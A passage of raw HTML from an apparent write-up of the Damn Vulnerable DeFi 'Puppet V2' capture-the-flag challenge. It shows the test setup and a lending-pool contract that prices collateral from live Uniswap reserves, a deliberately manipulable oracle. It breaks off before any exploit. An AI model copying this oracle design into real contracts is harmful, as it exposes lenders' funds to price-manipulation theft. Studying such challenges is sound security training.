punctuation\">(</span>deployer<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>to<span class=\"token punctuation\">.</span>be<span class=\"token punctuation\">.</span><span class=\"token function\">gt</span><span class=\"token punctuation\">(</span><span class=\"token string\">'0'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span></code></pre></div>\n<ul>\n<li>Based on the DVT token contract, the initial setup of the liquidity pool based on the <code class=\"language-text\">approve</code> work of <code class=\"language-text\">UNISWAP_INITIAL_TOKEN_RESERVE: 100 ether</code> to the address of the ‘uniswapRouter’ contract</li>\n</ul>\n<p><strong>addLiquidityETH function instance</strong></p>\n<div class=\"gatsby-highlight\" data-language=\"solidity\"><pre class=\"language-solidity\"><code class=\"language-solidity\"><span class=\"token keyword\">function</span> <span class=\"token function\">addLiquidityETH</span><span class=\"token punctuation\">(</span>\n  <span class=\"token builtin\">address</span> token<span class=\"token punctuation\">,</span>\n  <span class=\"token builtin\">uint</span> amountTokenDesired<span class=\"token punctuation\">,</span>\n  <span class=\"token builtin\">uint</span> amountTokenMin<span class=\"token punctuation\">,</span>\n  <span class=\"token builtin\">uint</span> amountETHMin<span class=\"token punctuation\">,</span>\n  <span class=\"token builtin\">address</span> to<span class=\"token punctuation\">,</span>\n  <span class=\"token builtin\">uint</span> deadline\n<span class=\"token punctuation\">)</span> <span class=\"token keyword\">external</span> <span class=\"token keyword\">payable</span> <span class=\"token keyword\">returns</span> <span class=\"token punctuation\">(</span><span class=\"token builtin\">uint</span> amountToken<span class=\"token punctuation\">,</span> <span class=\"token builtin\">uint</span> amountETH<span class=\"token punctuation\">,</span> <span class=\"token builtin\">uint</span> liquidity<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span></code></pre></div>\n<ul>\n<li>Adds liquidty to an ERC20 ↔ WETH pool with ETH.</li>\n<li>To cover all possible scenarios, <code class=\"language-text\">msg.sender</code> should have already given the router an allowance of at least amountTokenDesired on token.</li>\n<li>Always adds assets at the ideal ratio, according to the price when the transaction is executed.</li>\n<li><code class=\"language-text\">msg.value</code> is treated as a amountETHDesired</li>\n<li>Letfover ETH, if any, is returned to <code class=\"language-text\">msg.sender</code></li>\n<li>if a pool for the passed token and WETH does not exists, one is created automatically, and exactly amountTokenDesired / <code class=\"language-text\">msg.value</code> tokens are added.</li>\n</ul>\n<div class=\"gatsby-highlight\" data-language=\"solidity\"><pre class=\"language-solidity\"><code class=\"language-solidity\"><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>token<span class=\"token punctuation\">.</span><span class=\"token builtin\">address</span><span class=\"token punctuation\">,</span>                                         <span class=\"token comment\">// tokenAddress</span>\nUNISWAP_INITIAL_TOKEN_RESERVE<span class=\"token punctuation\">,</span>                              <span class=\"token comment\">// amountTokenDesired</span>\n<span class=\"token number\">0</span><span class=\"token punctuation\">,</span>                                                          <span class=\"token comment\">// amountTokenMin</span>\n<span class=\"token number\">0</span><span class=\"token punctuation\">,</span>                                                          <span class=\"token comment\">// amountETHMin</span>\ndeployer<span class=\"token punctuation\">.</span><span class=\"token builtin\">address</span><span class=\"token punctuation\">,</span>                                           <span class=\"token comment\">// to</span>\n<span class=\"token punctuation\">(</span>await ethers<span class=\"token punctuation\">.</span>provider<span class=\"token punctuation\">.</span><span class=\"token function\">getBlock</span><span class=\"token punctuation\">(</span><span class=\"token string\">'latest'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>timestamp <span class=\"token operator\">*</span> <span class=\"token number\">2</span><span class=\"token punctuation\">,</span>   <span class=\"token comment\">// deadline</span>\n<span class=\"token punctuation\">{</span> value<span class=\"token punctuation\">:</span> UNISWAP_INITIAL_WETH_RESERVE <span class=\"token punctuation\">}</span>                     <span class=\"token comment\">// msg.value</span></code></pre></div>\n<ul>\n<li>Based on the DVT token contract address, allocate 100 ether to amountTokenDesired and then wrapper work, maintaining 10 ether in <code class=\"language-text\">msg.value</code> under current conditions</li>\n</ul>\n<div class=\"gatsby-highlight\" data-language=\"tsx\"><pre class=\"language-tsx\"><code class=\"language-tsx\"><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>uniswapExchange <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> UniswapPairFactory<span class=\"token punctuation\">.</span><span class=\"token function\">attach</span><span class=\"token punctuation\">(</span>\n    <span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>uniswapFactory<span class=\"token punctuation\">.</span><span class=\"token function\">getPair</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>token<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">,</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>weth<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token function\">expect</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>uniswapExchange<span class=\"token punctuation\">.</span><span class=\"token function\">balanceOf</span><span class=\"token punctuation\">(</span>deployer<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>to<span class=\"token punctuation\">.</span>be<span class=\"token punctuation\">.</span><span class=\"token function\">gt</span><span class=\"token punctuation\">(</span><span class=\"token string\">'0'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span></code></pre></div>\n<ul>\n<li>Based on the getPair function of the uniswapV2Exchange contract, the pair contract address of DVT and WETH tokens is secured and used for instance.</li>\n<li>Check if the balance value of uniswapExchange is 0</li>\n</ul>\n<p><strong>Deploy the lending pool contract</strong></p>\n<div class=\"gatsby-highlight\" data-language=\"tsx\"><pre class=\"language-tsx\"><code class=\"language-tsx\"><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>lendingPool <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">await</span> ethers<span class=\"token punctuation\">.</span><span class=\"token function\">getContractFactory</span><span class=\"token punctuation\">(</span><span class=\"token string\">'PuppetV2Pool'</span><span class=\"token punctuation\">,</span> deployer<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">deploy</span><span class=\"token punctuation\">(</span>\n    <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>weth<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">,</span>\n    <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>token<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">,</span>\n    <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>uniswapExchange<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">,</span>\n    <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>uniswapFactory<span class=\"token punctuation\">.</span>address\n<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span></code></pre></div>\n<ul>\n<li><code class=\"language-text\">PuppetV2Pool</code> contract instance processing in progress</li>\n</ul>\n<p><strong>Setup initial token balances of pool and attacker account</strong></p>\n<div class=\"gatsby-highlight\" data-language=\"tsx\"><pre class=\"language-tsx\"><code class=\"language-tsx\"><span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>token<span class=\"token punctuation\">.</span><span class=\"token function\">transfer</span><span class=\"token punctuation\">(</span>attacker<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">,</span> <span class=\"token constant\">ATTACKER_INITIAL_TOKEN_BALANCE</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>token<span class=\"token punctuation\">.</span><span class=\"token function\">transfer</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>lendingPool<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">,</span> <span class=\"token constant\">POOL_INITIAL_TOKEN_BALANCE</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span></code></pre></div>\n<ul>\n<li>Allocate 10000 ether to the attacker account and 100000 ether to the lending pool contract</li>\n</ul>\n<p><strong>Ensure correct setup of pool</strong></p>\n<div class=\"gatsby-highlight\" data-language=\"tsx\"><pre class=\"language-tsx\"><code class=\"language-tsx\"><span class=\"token function\">expect</span><span class=\"token punctuation\">(</span>\n    <span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>lendingPool<span class=\"token punctuation\">.</span><span class=\"token function\">calculateDepositOfWETHRequired</span><span class=\"token punctuation\">(</span>ethers<span class=\"token punctuation\">.</span>utils<span class=\"token punctuation\">.</span><span class=\"token function\">parseEther</span><span class=\"token punctuation\">(</span><span class=\"token string\">'1'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>to<span class=\"token punctuation\">.</span>be<span class=\"token punctuation\">.</span><span class=\"token function\">eq</span><span class=\"token punctuation\">(</span>ethers<span class=\"token punctuation\">.</span>utils<span class=\"token punctuation\">.</span><span class=\"token function\">parseEther</span><span class=\"token punctuation\">(</span><span class=\"token string\">'0.3'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token function\">expect</span><span class=\"token punctuation\">(</span>\n    <span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>lendingPool<span class=\"token punctuation\">.</span><span class=\"token function\">calculateDepositOfWETHRequired</span><span class=\"token punctuation\">(</span><span class=\"token constant\">POOL_INITIAL_TOKEN_BALANCE</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>to<span class=\"token punctuation\">.</span>be<span class=\"token punctuation\">.</span><span class=\"token function\">eq</span><span class=\"token punctuation\">(</span>ethers<span class=\"token punctuation\">.</span>utils<span class=\"token punctuation\">.</span><span class=\"token function\">parseEther</span><span class=\"token punctuation\">(</span><span class=\"token string\">'300000'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span></code></pre></div>\n<blockquote>\n<p>PuppetV2Pool.sol</p>\n</blockquote>\n<div class=\"gatsby-highlight\" data-language=\"solidity\"><pre class=\"language-solidity\"><code class=\"language-solidity\"><span class=\"token comment\">// SPDX-License-Identifier: MIT</span>\n<span class=\"token keyword\">pragma</span> <span class=\"token keyword\">solidity</span> <span class=\"token operator\">^</span><span class=\"token version number\">0.6.0</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token keyword\">import</span> <span class=\"token string\">\"@uniswap/v2-periphery/contracts/libraries/UniswapV2Library.sol\"</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">import</span> <span class=\"token string\">\"@uniswap/v2-periphery/contracts/libraries/SafeMath.sol\"</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token keyword\">interface</span> <span class=\"token class-name\">IERC20</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">function</span> <span class=\"token function\">transfer</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">address</span> to<span class=\"token punctuation\">,</span> <span class=\"token builtin\">uint256</span> amount<span class=\"token punctuation\">)</span> <span class=\"token keyword\">external</span> <span class=\"token keyword\">returns</span> <span class=\"token punctuation\">(</span><span class=\"token builtin\">bool</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token keyword\">function</span> <span class=\"token function\">transferFrom</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">address</span> <span class=\"token keyword\">from</span><span class=\"token punctuation\">,</span> <span class=\"token builtin\">address</span> to<span class=\"token punctuation\">,</span> <span class=\"token builtin\">uint256</span> amount<span class=\"token punctuation\">)</span> <span class=\"token keyword\">external</span> <span class=\"token keyword\">returns</span> <span class=\"token punctuation\">(</span><span class=\"token builtin\">bool</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token keyword\">function</span> <span class=\"token function\">balanceOf</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">address</span> account<span class=\"token punctuation\">)</span> <span class=\"token keyword\">external</span> <span class=\"token keyword\">returns</span> <span class=\"token punctuation\">(</span><span class=\"token builtin\">uint256</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token comment\">/**\n* @title PuppetV2Pool\n* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)\n*/</span>\n<span class=\"token keyword\">contract</span> <span class=\"token class-name\">PuppetV2Pool</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">using</span> <span class=\"token class-name\">SafeMath</span> <span class=\"token keyword\">for</span> <span class=\"token builtin\">uint256</span><span class=\"token punctuation\">;</span>\n\n  <span class=\"token builtin\">address</span> <span class=\"token keyword\">private</span> _uniswapPair<span class=\"token punctuation\">;</span>\n  <span class=\"token builtin\">address</span> <span class=\"token keyword\">private</span> _uniswapFactory<span class=\"token punctuation\">;</span>\n  IERC20 <span class=\"token keyword\">private</span> _token<span class=\"token punctuation\">;</span>\n  IERC20 <span class=\"token keyword\">private</span> _weth<span class=\"token punctuation\">;</span>\n  \n  <span class=\"token keyword\">mapping</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">address</span> <span class=\"token operator\">=></span> <span class=\"token builtin\">uint256</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">public</span> deposits<span class=\"token punctuation\">;</span>\n      \n  <span class=\"token keyword\">event</span> <span class=\"token function\">Borrowed</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">address</span> <span class=\"token keyword\">indexed</span> borrower<span class=\"token punctuation\">,</span> <span class=\"token builtin\">uint256</span> depositRequired<span class=\"token punctuation\">,</span> <span class=\"token builtin\">uint256</span> borrowAmount<span class=\"token punctuation\">,</span> <span class=\"token builtin\">uint256</span> timestamp<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n  <span class=\"token keyword\">constructor</span> <span class=\"token punctuation\">(</span>\n      <span class=\"token builtin\">address</span> wethAddress<span class=\"token punctuation\">,</span>\n      <span class=\"token builtin\">address</span> tokenAddress<span class=\"token punctuation\">,</span>\n      <span class=\"token builtin\">address</span> uniswapPairAddress<span class=\"token punctuation\">,</span>\n      <span class=\"token builtin\">address</span> uniswapFactoryAddress\n  <span class=\"token punctuation\">)</span> <span class=\"token keyword\">public</span> <span class=\"token punctuation\">{</span>\n      _weth <span class=\"token operator\">=</span> <span class=\"token function\">IERC20</span><span class=\"token punctuation\">(</span>wethAddress<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      _token <span class=\"token operator\">=</span> <span class=\"token function\">IERC20</span><span class=\"token punctuation\">(</span>tokenAddress<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      _uniswapPair <span class=\"token operator\">=</span> uniswapPairAddress<span class=\"token punctuation\">;</span>\n      _uniswapFactory <span class=\"token operator\">=</span> uniswapFactoryAddress<span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n\n  <span class=\"token comment\">/**\n   * @notice Allows borrowing `borrowAmount` of tokens by first depositing three times their value in WETH\n   *         Sender must have approved enough WETH in advance.\n   *         Calculations assume that WETH and borrowed token have same amount of decimals.\n   */</span>\n  <span class=\"token keyword\">function</span> <span class=\"token function\">borrow</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">uint256</span> borrowAmount<span class=\"token punctuation\">)</span> <span class=\"token keyword\">external</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token keyword\">require</span><span class=\"token punctuation\">(</span>_token<span class=\"token punctuation\">.</span><span class=\"token function\">balanceOf</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">address</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">>=</span> borrowAmount<span class=\"token punctuation\">,</span> <span class=\"token string\">\"Not enough token balance\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n      <span class=\"token comment\">// Calculate how much WETH the user must deposit</span>\n      <span class=\"token builtin\">uint256</span> depositOfWETHRequired <span class=\"token operator\">=</span> <span class=\"token function\">calculateDepositOfWETHRequired</span><span class=\"token punctuation\">(</span>borrowAmount<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      \n      <span class=\"token comment\">// Take the WETH</span>\n      _weth<span class=\"token punctuation\">.</span><span class=\"token function\">transferFrom</span><span class=\"token punctuation\">(</span>msg<span class=\"token punctuation\">.</span>sender<span class=\"token punctuation\">,</span> <span class=\"token builtin\">address</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> depositOfWETHRequired<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n      <span class=\"token comment\">// internal accounting</span>\n      deposits<span class=\"token punctuation\">[</span>msg<span class=\"token punctuation\">.</span>sender<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> depositOfWETHRequired<span class=\"token punctuation\">;</span>\n\n      <span class=\"token keyword\">require</span><span class=\"token punctuation\">(</span>_token<span class=\"token punctuation\">.</span><span class=\"token function\">transfer</span><span class=\"token punctuation\">(</span>msg<span class=\"token punctuation\">.</span>sender<span class=\"token punctuation\">,</span> borrowAmount<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n      <span class=\"token keyword\">emit</span> <span class=\"token function\">Borrowed</span><span class=\"token punctuation\">(</span>msg<span class=\"token punctuation\">.</span>sender<span class=\"token punctuation\">,</span> depositOfWETHRequired<span class=\"token punctuation\">,</span> borrowAmount<span class=\"token punctuation\">,</span> block<span class=\"token punctuation\">.</span>timestamp<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n\n  <span class=\"token keyword\">function</span> <span class=\"token function\">calculateDepositOfWETHRequired</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">uint256</span> tokenAmount<span class=\"token punctuation\">)</span> <span class=\"token keyword\">public</span> <span class=\"token keyword\">view</span> <span class=\"token keyword\">returns</span> <span class=\"token punctuation\">(</span><span class=\"token builtin\">uint256</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token keyword\">return</span> <span class=\"token function\">_getOracleQuote</span><span class=\"token punctuation\">(</span>tokenAmount<span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">mul</span><span class=\"token punctuation\">(</span><span class=\"token number\">3</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">/</span> <span class=\"token punctuation\">(</span><span class=\"token number\">10</span> <span class=\"token operator\">**</span> <span class=\"token number\">18</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n\n  <span class=\"token comment\">// Fetch the price from Uniswap v2 using the official libraries</span>\n  <span class=\"token keyword\">function</span> <span class=\"token function\">_getOracleQuote</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">uint256</span> amount<span class=\"token punctuation\">)</span> <span class=\"token keyword\">private</span> <span class=\"token keyword\">view</span> <span class=\"token keyword\">returns</span> <span class=\"token punctuation\">(</span><span class=\"token builtin\">uint256</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token punctuation\">(</span><span class=\"token builtin\">uint256</span> reservesWETH<span class=\"token punctuation\">,</span> <span class=\"token builtin\">uint256</span> reservesToken<span class=\"token punctuation\">)</span> <span class=\"token operator\">=</span> UniswapV2Library<span class=\"token punctuation\">.</span><span class=\"token function\">getReserves</span><span class=\"token punctuation\">(</span>\n          _uniswapFactory<span class=\"token punctuation\">,</span> <span class=\"token builtin\">address</span><span class=\"token punctuation\">(</span>_weth<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token builtin\">address</span><span class=\"token punctuation\">(</span>_token<span class=\"token punctuation\">)</span>\n      <span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token keyword\">return</span> UniswapV2Library<span class=\"token punctuation\">.</span><span class=\"token function\">quote</span><span class=\"token punctuation\">(</span>amount<span class=\"token punctuation\">.</span><span class=\"token function\">mul</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span> <span class=\"token operator\">**</span> <span class=\"token number\">18</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> reservesToken<span class=\"token punctuation\">,</span> reservesWETH<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<h3 id=\"interface\" style=\"position:relative;\"><a href=\"#interface\" aria-label=\"interface permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Interface</h3>\n<div class=\"gatsby-highlight\" data-language=\"solidity\"><pre class=\"language-solidity\"><code class=\"language-solidity\"><span class=\"token keyword\">interface</span> <span class=\"token class-name\">IERC20</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">function</span> <span class=\"token function\">transfer</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">address</span> to<span class=\"token punctuation\">,</span> <span class=\"token builtin\">uint256</span> amount<span class=\"token punctuation\">)</span> <span class=\"token keyword\">external</span> <span class=\"token keyword\">returns</span> <span class=\"token punctuation\">(</span><span class=\"token builtin\">bool</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token keyword\">function</span> <span class=\"token function\">transferFrom</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">address</span> <span class=\"token keyword\">from</span><span class=\"token punctuation\">,</span> <span class=\"token builtin\">address</span> to<span class=\"token punctuation\">,</span> <span class=\"token builtin\">uint256</span> amount<span class=\"token punctuation\">)</span> <span class=\"token keyword\">external</span> <span class=\"token keyword\">returns</span> <span class=\"token punctuation\">(</span><span class=\"token builtin\">bool</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token keyword\">function</span> <span class=\"token function\">balanceOf</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">address</span> account<span class=\"token punctuation\">)</span> <span class=\"token keyword\">external</span> <span class=\"token keyword\">returns</span> <span class=\"token punctuation\">(</span><span class=\"token builtin\">uint256</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<h3 id=\"state-variable--event\" style=\"position:relative;\"><a href=\"#state-variable--event\" aria-label=\"state variable  event permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>State Variable &#x26;&#x26; Event</h3>\n<div class=\"gatsby-highlight\" data-language=\"solidity\"><pre class=\"language-solidity\"><code class=\"language-solidity\"><span class=\"token keyword\">using</span> <span class=\"token class-name\">SafeMath</span> <span class=\"token keyword\">for</span> <span class=\"token builtin\">uint256</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token builtin\">address</span> <span class=\"token keyword\">private</span> _uniswapPair<span class=\"token punctuation\">;</span>\n<span class=\"token builtin\">address</span> <span class=\"token keyword\">private</span> _uniswapFactory<span class=\"token punctuation\">;</span>\nIERC20 <span class=\"token keyword\">private</span> _token<span class=\"token punctuation\">;</span>\nIERC20 <span class=\"token keyword\">private</span> _weth<span class=\"token punctuation\">;</span>\n\n<span class=\"token keyword\">mapping</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">address</span> <span class=\"token operator\">=></span> <span class=\"token builtin\">uint256</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">public</span> deposits<span class=\"token punctuation\">;</span>\n    \n<span class=\"token keyword\">event</span> <span class=\"token function\">Borrowed</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">address</span> <span class=\"token keyword\">indexed</span> borrower<span class=\"token punctuation\">,</span> <span class=\"token builtin\">uint256</span> depositRequired<span class=\"token punctuation\">,</span> <span class=\"token builtin\">uint256</span> borrowAmount<span class=\"token punctuation\">,</span> <span class=\"token builtin\">uint256</span> timestamp<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span></code></pre></div>\n<ul>\n<li>Declare state variables for allocating dependent contract instances</li>\n<li>The <code class=\"language-text\">deposits</code> mapping data is used for the mapping structure to process user-specific deposits inside the <code class=\"language-text\">borrow</code> function.</li>\n<li>Task for querying internal event data when processing <code class=\"language-text\">borrow</code> function</li>\n</ul>\n<h3 id=\"functions\" style=\"position:relative;\"><a href=\"#functions\" aria-label=\"functions permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Functions</h3>\n<p><strong>constructor</strong></p>\n<div class=\"gatsby-highlight\" data-language=\"solidity\"><pre class=\"language-solidity\"><code class=\"language-solidity\"><span class=\"token keyword\">constructor</span> <span class=\"token punctuation\">(</span>\n    <span class=\"token builtin\">address</span> wethAddress<span class=\"token punctuation\">,</span>\n    <span class=\"token builtin\">address</span> tokenAddress<span class=\"token punctuation\">,</span>\n    <span class=\"token builtin\">address</span> uniswapPairAddress<span class=\"token punctuation\">,</span>\n    <span class=\"token builtin\">address</span> uniswapFactoryAddress\n<span class=\"token punctuation\">)</span> <span class=\"token keyword\">public</span> <span class=\"token punctuation\">{</span>\n    _weth <span class=\"token operator\">=</span> <span class=\"token function\">IERC20</span><span class=\"token punctuation\">(</span>wethAddress<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    _token <span class=\"token operator\">=</span> <span class=\"token function\">IERC20</span><span class=\"token punctuation\">(</span>tokenAddress<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    _uniswapPair <span class=\"token operator\">=</span> uniswapPairAddress<span class=\"token punctuation\">;</span>\n    _uniswapFactory <span class=\"token operator\">=</span> uniswapFactoryAddress<span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<ul>\n<li>Initial instance assignment of DVT ERC20 token, WETH token, UniswapV2Pair, Factory Contract</li>\n</ul>\n<p><strong>_getOracleQuote</strong></p>\n<div class=\"gatsby-highlight\" data-language=\"solidity\"><pre class=\"language-solidity\"><code class=\"language-solidity\"><span class=\"token keyword\">function</span> <span class=\"token function\">_getOracleQuote</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">uint256</span> amount<span class=\"token punctuation\">)</span> <span class=\"token keyword\">private</span> <span class=\"token keyword\">view</span> <span class=\"token keyword\">returns</span> <span class=\"token punctuation\">(</span><span class=\"token builtin\">uint256</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token punctuation\">(</span><span class=\"token builtin\">uint256</span> reservesWETH<span class=\"token punctuation\">,</span> <span class=\"token builtin\">uint256</span> reservesToken<span class=\"token punctuation\">)</span> <span class=\"token operator\">=</span> UniswapV2Library<span class=\"token punctuation\">.</span><span class=\"token function\">getReserves</span><span class=\"token punctuation\">(</span>\n        _uniswapFactory<span class=\"token punctuation\">,</span> <span class=\"token builtin\">address</span><span class=\"token punctuation\">(</span>_weth<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token builtin\">address</span><span class=\"token punctuation\">(</span>_token<span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span 